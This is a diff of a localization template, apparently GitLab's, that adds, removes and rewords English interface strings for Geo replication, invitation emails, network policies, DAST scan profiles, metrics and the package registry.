msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
